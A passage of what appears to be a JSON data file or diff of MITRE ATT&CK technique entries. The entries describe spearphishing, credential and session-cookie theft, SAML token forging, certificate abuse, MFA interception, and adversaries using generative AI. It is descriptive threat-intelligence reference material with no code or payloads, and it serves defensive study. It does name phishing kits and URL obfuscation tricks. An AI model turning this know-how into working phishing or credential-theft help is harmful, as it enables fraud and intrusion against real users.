new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread. This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.004", + "text": "ATT&CK technique: T1566.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer. Adversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1588.004", + "text": "ATT&CK technique: T1588.004 Digital Certificates\nDescription: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free. After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1586.002", + "text": "ATT&CK technique: T1586.002 Email Accounts\nDescription: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains). A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1566.001", + "text": "ATT&CK technique: T1566.001 Spearphishing Attachment\nDescription: Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1550", + "text": "ATT&CK technique: T1550 Use Alternate Authentication Material\nDescription: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process. Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\nTactics: lateral movement\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows" + }, + { + "id": "T1588.007", + "text": "ATT&CK technique: T1588.007 Artificial Intelligence\nDescription: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1588.005", + "text": "ATT&CK technique: T1588.005 Exploits\nDescription: Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors. In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals. In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries). An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Stealth, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1588.003", + "text": "ATT&CK technique: T1588.003 Code Signing Certificates\nDescription: Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to Code Signing, adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1111", + "text": "ATT&CK technique: T1111 Multi-Factor Authentication Interception\nDescription: Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1566.003", + "text": "ATT&CK technique: T1566.003 Spearphishing via Service\nDescription: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1684", + "text": "ATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1484.002", + "text": "ATT&CK technique: T1484.002 Trust Modification\nDescription: Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources. These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge SAML Tokens without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user. An adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant. This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.\nTactics: defense impairment, privilege escalation\nPlatforms: Identity Provider, Windows" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1588.001", + "text": "ATT&CK technique: T1588.001 Malware\nDescription: Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1586.001", + "text": "ATT&CK technique: T1586.001 Social Media Accounts\nDescription: Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1606.002", + "text": "ATT&CK technique: T1606.002 SAML Tokens\nDescription: An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate. The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy. Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism. An adversary may utilize Private Keys to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate. This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users. An adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material, which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Office Suite, SaaS, Windows" + }, + { + "id": "T1649", + "text": "ATT&CK technique: T1649 Steal or Forge Authentication Certificates\nDescription: Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts. Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names. Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts. Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1587", + "text": "ATT&CK technique: T1587 Develop Capabilities\nDescription: Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.002", + "text": "ATT&CK technique: T1591.002 Business Relationships\nDescription: Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.006", + "text": "ATT&CK technique: T1590.006 Network Security Appliances\nDescription: Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1550.004", + "text": "ATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can 